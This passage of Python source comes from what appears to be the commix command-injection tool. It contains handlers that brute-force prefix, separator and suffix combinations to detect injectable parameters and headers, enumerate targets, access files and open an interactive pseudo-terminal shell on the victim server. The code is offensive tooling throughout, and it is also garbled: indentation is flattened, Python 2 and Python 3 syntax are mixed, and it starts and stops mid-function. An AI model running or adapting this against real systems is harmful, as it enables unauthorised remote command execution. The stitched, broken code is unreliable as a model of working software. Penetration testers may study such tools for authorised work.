else:
classic_state = False
# Check if it is vulnerable to eval-based command injection technique.
if "eval-based" in menu.options.tech or len(menu.options.tech) <= 4 and "e" in menu.options.tech:
# Check if eval-based command injection technique succeeds.
if eb_handler.exploitation(url, delay, filename, http_request_method) != False:
eval_based_state = True
elif menu.options.tech == "eval-based":
eb_handler.exploitation(url, delay, filename, http_request_method)
else:
eval_based_state = False
# Check if it is vulnerable to time-based blind command injection technique.
if "time-based" in menu.options.tech or len(menu.options.tech) <= 4 and "t" in menu.options.tech:
# Check if time-based blind command injection technique succeeds.
if tb_handler.exploitation(url, delay, filename, http_request_method, url_time_response) != False:
time_based_state = True
elif menu.options.tech == "time-based":
tb_handler.exploitation(url, delay, filename, http_request_method, url_time_response)
else:
time_based_state = False
# Check if it is vulnerable to file-based semiblind command injection technique.
if "file-based" in menu.options.tech or len(menu.options.tech) <= 4 and "f" in menu.options.tech:
# Check if file-based semiblind command injection technique succeeds.
if fb_handler.exploitation(url, delay, filename, http_request_method, url_time_response) != False:
file_based_state = True
elif menu.options.tech == "file-based":
fb_handler.exploitation(url, delay, filename, http_request_method, url_time_response)
else:
file_based_state = False
if classic_state == False and eval_based_state == False and time_based_state == False and file_based_state == False:
info_msg = (
"(x) Critical: The tested ("
+ http_request_method
+ ")"
+ check_parameter
+ " parameter appear to be not injectable."
)
if not menu.options.alter_shell:
info_msg += " Use the option '--alter-shell'"
else:
info_msg += " Remove the option '--alter-shell'"
info_msg += " and/or try to audit the HTTP headers (i.e 'User-Agent', 'Referer', 'Cookie' etc)."
print Back.RED + info_msg + Style.RESET_ALL
# else:
# print ""
sys.exit(0)
def eb_injection_handler(url, timesec, filename, http_request_method):
shell = False
counter = 1
vp_flag = True
no_result = True
export_injection_info = False
injection_type = "results-based dynamic code evaluation"
technique = "dynamic code evaluation technique"
for item in range(0, len(settings.EXECUTION_FUNCTIONS)):
settings.EXECUTION_FUNCTIONS[item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "("
settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS
if not settings.LOAD_SESSION:
url = eb_injector.warning_detection(url, http_request_method)
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
if settings.VERBOSITY_LEVEL >= 1:
print("")
i = 0
# Calculate all possible combinations
total = len(settings.WHITESPACE) * len(settings.EVAL_PREFIXES) * len(settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES)
for whitespace in settings.WHITESPACE:
for prefix in settings.EVAL_PREFIXES:
for suffix in settings.EVAL_SUFFIXES:
for separator in settings.EVAL_SEPARATORS:
if whitespace == " ":
whitespace = _urllib.parse.quote(whitespace)
# Check injection state
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
# If a previous session is available.
if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type):
try:
settings.EVAL_BASED_STATE = True
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
checks.check_for_stored_tamper(payload)
except TypeError:
err_msg = "An error occurred while accessing session file ('"
err_msg += settings.SESSION_FILE + "'). "
err_msg += "Use the '--flush-session' option."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
if settings.RETEST == True:
settings.RETEST = False
from src.core.injections.results_based.techniques.classic import cb_handler
cb_handler.exploitation(url, timesec, filename, http_request_method)
if not settings.LOAD_SESSION:
i = i + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
randv1 = random.randrange(100)
randv2 = random.randrange(100)
randvcalc = randv1 + randv2
# Define alter shell
alter_shell = menu.options.alter_shell
try:
if alter_shell:
# Classic -alter shell- decision payload (check if host is vulnerable).
payload = eb_payloads.decision_alter_shell(separator, TAG, randv1, randv2)
else:
# Classic decision payload (check if host is vulnerable).
payload = eb_payloads.decision(separator, TAG, randv1, randv2)
suffix = _urllib.parse.quote(suffix)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Fixation for specific payload.
if ")%3B" + _urllib.parse.quote(")}") in payload:
payload = payload.replace(")%3B" + _urllib.parse.quote(")}"), ")" + _urllib.parse.quote(")}"))
#payload = payload + TAG + ""
# Whitespace fixation
payload = payload.replace(" ", whitespace)
# Perform payload modification
payload = checks.perform_payload_modification(payload)
if not settings.TAMPER_SCRIPTS['base64encode'] and \
not settings.TAMPER_SCRIPTS['hexencode']:
payload = payload.replace(" ", "%20")
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
print(settings.print_payload(payload))
elif settings.VERBOSITY_LEVEL > 1:
info_msg = "Generating payload for the injection..."
print(settings.print_info_msg(info_msg))
print(settings.print_payload(payload))
# Cookie header injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie header injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
response = eb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent HTTP header injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent HTTP header injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
response = eb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer HTTP header injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer HTTP header injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
response = eb_injector.referer_injection_test(url, vuln_parameter, payload)
# Host HTTP header injection
elif settings.HOST_INJECTION == True:
# Check if target host is vulnerable to host HTTP header injection.
vuln_parameter = parameters.specify_host_parameter(menu.options.host)
response = eb_injector.host_injection_test(url, vuln_parameter, payload)
# Custom HTTP header injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom HTTP header injection.
vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
response = eb_injector.custom_header_injection_test(url, vuln_parameter, payload)
else:
found_cookie_injection = False
# Check if target host is vulnerable.
response, vuln_parameter = eb_injector.injection_test(payload, http_request_method, url)
# Try target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate test results.
shell = eb_injector.injection_test_results(response, TAG, randvcalc)
time.sleep(timesec)
if not settings.VERBOSITY_LEVEL >= 1:
percent = ((i*100)/total)
float_percent = "{0:.1f}".format(round(((i*100)/(total * 1.0)),2))
if shell == False:
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " + "[ " + float_percent + "%" + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
if str(float_percent) == "100.0":
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(float_percent)+ "%"
elif len(shell) != 0:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = str(float_percent)+ "%"
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
except KeyboardInterrupt:
raise
except SystemExit:
raise
except EOFError:
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
raise
except:
continue
# Yaw, got shellz!
# Do some magic tricks!
if shell:
found = True
no_result = False
# Check injection state
settings.DETECTION_PHASE = False
settings.EXPLOITATION_PHASE = True
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.HOST_INJECTION == True:
header_name = " Host"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.LOAD_SESSION:
if not settings.VERBOSITY_LEVEL >= 1:
print("")
else:
checks.total_of_requests()
# Print the findings to terminal.
success_msg = "The"
if len(found_vuln_parameter) > 0 and not "cookie" in header_name :
success_msg += " " + http_request_method
success_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name
success_msg += found_vuln_parameter + " seems injectable via "
success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
print(settings.print_success_msg(success_msg))
print(settings.SUB_CONTENT_SIGN + str(checks.url_decode(payload)) + Style.RESET_ALL)
# Export session
if not settings.LOAD_SESSION:
session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level)
else:
whitespace = settings.WHITESPACE[0]
settings.LOAD_SESSION = False
# Check for any enumeration options.
new_line = True
if settings.ENUMERATION_DONE == True :
while True:
if not menu.options.batch:
question_msg = "Do you want to enumerate again? [Y/n] > "
enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower()
else:
enumerate_again = ""
if len(enumerate_again) == 0:
enumerate_again = "y"
if enumerate_again in settings.CHOICE_YES:
eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
# print("")
break
elif enumerate_again in settings.CHOICE_NO:
new_line = False
break
elif enumerate_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + enumerate_again + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
else:
if menu.enumeration_options():
eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
if not menu.file_access_options() and not menu.options.os_cmd and new_line:
print("")
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True :
if settings.ENUMERATION_DONE != True:
print("")
while True:
if not menu.options.batch:
question_msg = "Do you want to access files again? [Y/n] > "
file_access_again = _input(settings.print_question_msg(question_msg))
else:
file_access_again = ""
if len(file_access_again) == 0:
file_access_again = "y"
if file_access_again in settings.CHOICE_YES:
eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
print("")
break
elif file_access_again in settings.CHOICE_NO:
break
elif file_access_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + file_access_again + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
else:
if menu.file_access_options():
# if not menu.enumeration_options():
# print("")
eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
print("")
# Check if defined single cmd.
if menu.options.os_cmd:
# if not menu.file_access_options():
# print("")
eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
if not menu.options.batch:
question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
gotshell = _input(settings.print_question_msg(question_msg))
else:
gotshell = ""
if len(gotshell) == 0:
gotshell = "y"
if gotshell in settings.CHOICE_YES:
if not menu.options.batch:
print("")
print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
if readline_error:
checks.no_readline_module()
while True:
try:
# Tab compliter
if not readline_error:
readline.set_completer(menu.tab_completer)
# MacOSX tab compliter
if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
readline.parse_and_bind("bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind("tab: complete")
cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
if go_back and go_back_again == False:
break
if go_back and go_back_again:
return True
else:
# The main command injection exploitation.
time.sleep(timesec)
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Try target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
if menu.options.ignore_session or\
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Evaluate injection results.
shell = eb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell).replace(" ", "", 1)
if not menu.options.ignore_session :
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if shell != "":
shell = "".join(str(p) for p in shell)
# Update logs with executed cmds and execution results.
logs.executed_command(filename, cmd, shell)
print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n")
else:
if settings.VERBOSITY_LEVEL >= 1:
print("")
err_msg = "The '" + cmd + "' command, does not return any output."
print(settings.print_critical_msg(err_msg) + "\n")
except KeyboardInterrupt:
raise
except SystemExit:
raise
except EOFError:
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
raise
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + gotshell + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
if no_result == True:
if settings.VERBOSITY_LEVEL == 0:
print("")
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
def cb_injection_handler(url, delay, filename, http_request_method):
counter = 1
vp_flag = True
no_result = True
is_encoded = False
export_injection_info = False
injection_type = "results-based OS command injection"
technique = "classic command injection technique"
if not settings.LOAD_SESSION:
info_msg = "Testing the " + "(" + injection_type.split(
" ")[0] + ") " + technique + "... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
if settings.VERBOSITY_LEVEL >= 1:
print ""
i = 0
# Calculate all possible combinations
total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(
settings.SEPARATORS) * len(settings.SUFFIXES)
for whitespace in settings.WHITESPACE:
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
# Check injection state
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
# If a previous session is available.
if settings.LOAD_SESSION and session_handler.notification(
url, technique, injection_type):
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
url, http_request_method)
checks.check_for_stored_tamper(payload)
else:
i = i + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(
random.choice(string.ascii_uppercase)
for i in range(6))
randv1 = random.randrange(100)
randv2 = random.randrange(100)
randvcalc = randv1 + randv2
# Define alter shell
alter_shell = menu.options.alter_shell
try:
if alter_shell:
# Classic -alter shell- decision payload (check if host is vulnerable).
payload = cb_payloads.decision_alter_shell(
separator, TAG, randv1, randv2)
else:
# Classic decision payload (check if host is vulnerable).
payload = cb_payloads.decision(
separator, TAG, randv1, randv2)
# Define prefixes & suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = re.sub(" ", whitespace, payload)
# Check for base64 / hex encoding
payload = checks.perform_payload_encoding(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
print settings.print_payload(payload)
elif settings.VERBOSITY_LEVEL > 1:
info_msg = "Generating a payload for injection..."
print settings.print_info_msg(info_msg)
print settings.print_payload(payload)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(
menu.options.cookie)
response = cb_injector.cookie_injection_test(
url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(
menu.options.agent)
response = cb_injector.user_agent_injection_test(
url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(
menu.options.referer)
response = cb_injector.referer_injection_test(
url, vuln_parameter, payload)
# Custom HTTP header Injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom http header injection.
vuln_parameter = parameters.specify_custom_header_parameter(
settings.INJECT_TAG)
response = cb_injector.custom_header_injection_test(
url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
response, vuln_parameter = cb_injector.injection_test(
payload, http_request_method, url)
# Try target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, delay)
# Evaluate test results.
shell = cb_injector.injection_test_results(
response, TAG, randvcalc)
if not settings.VERBOSITY_LEVEL >= 1:
percent = ((i * 100) / total)
float_percent = "{0:.1f}".format(
round(((i * 100) / (total * 1.0)), 2))
if shell == False:
info_msg = "Testing the " + "(" + injection_type.split(
" "
)[0] + ") " + technique + "... " + "[ " + float_percent + "%" + " ]"
sys.stdout.write(
"\r" +
settings.print_info_msg(info_msg))
sys.stdout.flush()
if float(float_percent) >= 99.9:
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(float_percent) + "%"
elif len(shell) != 0:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = str(float_percent) + "%"
info_msg = "Testing the " + "(" + injection_type.split(
" "
)[0] + ") " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write(
"\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
except KeyboardInterrupt:
raise
except SystemExit:
raise
except:
continue
# Yaw, got shellz!
# Do some magic tricks!
if shell:
found = True
no_result = False
# Check injection state
settings.DETECTION_PHASE = False
settings.EXPLOITATION_PHASE = True
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(
url)
else:
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0:
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(
export_injection_info, filename,
injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(
vp_flag, filename, the_type, header_name,
http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.VERBOSITY_LEVEL >= 1 and not settings.LOAD_SESSION:
print ""
# Print the findings to terminal.
success_msg = "The"
if found_vuln_parameter == " ":
success_msg += http_request_method + ""
success_msg += the_type + header_name
success_msg += found_vuln_parameter + " seems injectable via "
success_msg += "(" + injection_type.split(
" ")[0] + ") " + technique + "."
print settings.print_success_msg(success_msg)
print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub(
"%20", " ", re.sub("%2B", "+",
payload)) + Style.RESET_ALL
# Export session
if not settings.LOAD_SESSION:
session_handler.injection_point_importation(
url,
technique,
injection_type,
separator,
shell[0],
vuln_parameter,
prefix,
suffix,
TAG,
alter_shell,
payload,
http_request_method,
url_time_response=0,
delay=0,
how_long=0,
output_length=0,
is_vulnerable=menu.options.level)
else:
whitespace = settings.WHITESPACE[0]
settings.LOAD_SESSION = False
# Check for any enumeration options.
new_line = True
if settings.ENUMERATION_DONE == True:
while True:
if not menu.options.batch:
question_msg = "Do you want to enumerate again? [Y/n] > "
enumerate_again = raw_input(
"\n" + settings.print_question_msg(
question_msg)).lower()
else:
enumerate_again = ""
if len(enumerate_again) == 0:
enumerate_again = "y"
if enumerate_again in settings.CHOICE_YES:
cb_enumeration.do_check(
separator, TAG, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, alter_shell, filename,
delay)
#print ""
break
elif enumerate_again in settings.CHOICE_NO:
new_line = False
break
elif enumerate_again in settings.CHOICE_QUIT:
sys.exit(0)
else:
err_msg = "'" + enumerate_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.enumeration_options():
cb_enumeration.do_check(
separator, TAG, prefix, suffix, whitespace,
http_request_method, url, vuln_parameter,
alter_shell, filename, delay)
if not menu.file_access_options(
) and not menu.options.os_cmd and new_line:
print ""
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True:
if settings.ENUMERATION_DONE != True:
print ""
while True:
if not menu.options.batch:
question_msg = "Do you want to access files again? [Y/n] > "
sys.stdout.write(
settings.print_question_msg(
question_msg))
file_access_again = sys.stdin.readline(
).replace("\n", "").lower()
else:
file_access_again = ""
if len(file_access_again) == 0:
file_access_again = "y"
if file_access_again in settings.CHOICE_YES:
cb_file_access.do_check(
separator, TAG, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, alter_shell, filename,
delay)
print ""
break
elif file_access_again in settings.CHOICE_NO:
break
elif file_access_again in settings.CHOICE_QUIT:
sys.exit(0)
else:
err_msg = "'" + file_access_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.file_access_options():
if not menu.enumeration_options():
print ""
cb_file_access.do_check(
separator, TAG, prefix, suffix, whitespace,
http_request_method, url, vuln_parameter,
alter_shell, filename, delay)
print ""
# Check if defined single cmd.
if menu.options.os_cmd:
if not menu.file_access_options():
print ""
cb_enumeration.single_os_cmd_exec(
separator, TAG, prefix, suffix, whitespace,
http_request_method, url, vuln_parameter,
alter_shell, filename, delay)
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
# if settings.ENUMERATION_DONE == False and settings.FILE_ACCESS_DONE == False:
# if settings.VERBOSITY_LEVEL >= 1:
# print ""
if not menu.options.batch:
question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
sys.stdout.write(
settings.print_question_msg(question_msg))
gotshell = sys.stdin.readline().replace(
"\n", "").lower()
else:
gotshell = ""
if len(gotshell) == 0:
gotshell = "y"
if gotshell in settings.CHOICE_YES:
if not menu.options.batch:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
try:
if not readline_error:
# Tab compliter
readline.set_completer(
menu.tab_completer)
# MacOSX tab compliter
if getattr(
readline, '__doc__', ''
) is not None and 'libedit' in getattr(
readline, '__doc__', ''):
readline.parse_and_bind(
"bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind(
"tab: complete")
cmd = raw_input("""commix(""" +
Style.BRIGHT +
Fore.RED +
"""os_shell""" +
Style.RESET_ALL +
""") > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower(
) in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(
separator, TAG, cmd, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, alter_shell,
filename, technique, go_back,
no_result, delay,
go_back_again)
if go_back and go_back_again == False:
break
if go_back and go_back_again:
return True
else:
# Command execution results.
response = cb_injector.injection(
separator, TAG, cmd, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, alter_shell,
filename)
# Try target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(
url, delay)
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Evaluate injection results.
try:
shell = cb_injector.injection_results(
response, TAG, cmd)
shell = "".join(
str(p) for p in shell)
except:
print ""
continue
if not menu.options.ignore_session:
session_handler.store_cmd(
url, cmd, shell,
vuln_parameter)
else:
shell = session_handler.export_stored_cmd(
url, cmd, vuln_parameter)
if shell:
html_parser = HTMLParser.HTMLParser(
)
shell = html_parser.unescape(
shell)
# Update logs with executed cmds and execution results.
logs.executed_command(
filename, cmd, shell)
if shell != "":
if settings.VERBOSITY_LEVEL == 1:
print ""
print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
else:
if settings.VERBOSITY_LEVEL >= 1:
print ""
err_msg = "The '" + cmd + "' command, does not return any output."
print settings.print_critical_msg(
err_msg) + "\n"
except KeyboardInterrupt:
raise
except SystemExit:
raise
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(
technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
sys.exit(0)
else:
err_msg = "'" + gotshell + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
if no_result == True:
print ""
return False
else:
sys.stdout.write("\r")
sys.stdout.flush()
def fb_injection_handler(url, timesec, filename, http_request_method,
url_time_response):
shell = False
counter = 1
vp_flag = True
exit_loops = False
no_result = True
is_encoded = False
stop_injection = False
call_tmp_based = False
next_attack_vector = False
export_injection_info = False
injection_type = "semi-blind command injection"
technique = "file-based command injection technique"
tmp_path = check_tmp_path(url, timesec, filename, http_request_method,
url_time_response)
if not settings.LOAD_SESSION or settings.RETEST == True:
TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
info_msg = "Trying to create a file in '" + settings.WEB_ROOT
info_msg += "' for command execution results. "
print(settings.print_info_msg(info_msg))
i = 0
# Calculate all possible combinations
total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(
settings.SEPARATORS) * len(settings.SUFFIXES)
# Check if defined alter shell
alter_shell = menu.options.alter_shell
for whitespace in settings.WHITESPACE:
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
# Check injection state
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
# If a previous session is available.
if settings.LOAD_SESSION:
try:
settings.FILE_BASED_STATE = True
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
url, http_request_method)
checks.check_for_stored_tamper(payload)
OUTPUT_TEXTFILE = TAG + ".txt"
session_handler.notification(
url, technique, injection_type)
if technique == "tempfile-based injection technique":
#settings.LOAD_SESSION = True
tfb_handler.exploitation(
url, timesec, filename, tmp_path,
http_request_method, url_time_response)
except TypeError:
err_msg = "An error occurred while accessing session file ('"
err_msg += settings.SESSION_FILE + "'). "
err_msg += "Use the '--flush-session' option."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
if settings.RETEST == True:
settings.RETEST = False
from src.core.injections.results_based.techniques.classic import cb_handler
cb_handler.exploitation(url, timesec, filename,
http_request_method)
if not settings.LOAD_SESSION:
i = i + 1
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = TAG + ".txt"
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
try:
# File-based decision payload (check if host is vulnerable).
if alter_shell:
payload = fb_payloads.decision_alter_shell(
separator, TAG, OUTPUT_TEXTFILE)
else:
payload = fb_payloads.decision(
separator, TAG, OUTPUT_TEXTFILE)
# Check if defined "--prefix" option.
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = payload.replace(" ", whitespace)
# Perform payload modification
payload = checks.perform_payload_modification(
payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
payload_msg = payload.replace("\n", "\\n")
print(settings.print_payload(payload_msg))
# Check if defined "--verbose" option.
elif settings.VERBOSITY_LEVEL > 1:
info_msg = "Generating payload for the injection..."
print(settings.print_info_msg(info_msg))
print(settings.print_payload(payload))
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie header injection.
vuln_parameter = parameters.specify_cookie_parameter(
menu.options.cookie)
response = fb_injector.cookie_injection_test(
url, vuln_parameter, payload)
# User-Agent HTTP Header Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent HTTP header injection.
vuln_parameter = parameters.specify_user_agent_parameter(
menu.options.agent)
response = fb_injector.user_agent_injection_test(
url, vuln_parameter, payload)
# Referer HTTP Header Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to Referer HTTP header injection.
vuln_parameter = parameters.specify_referer_parameter(
menu.options.referer)
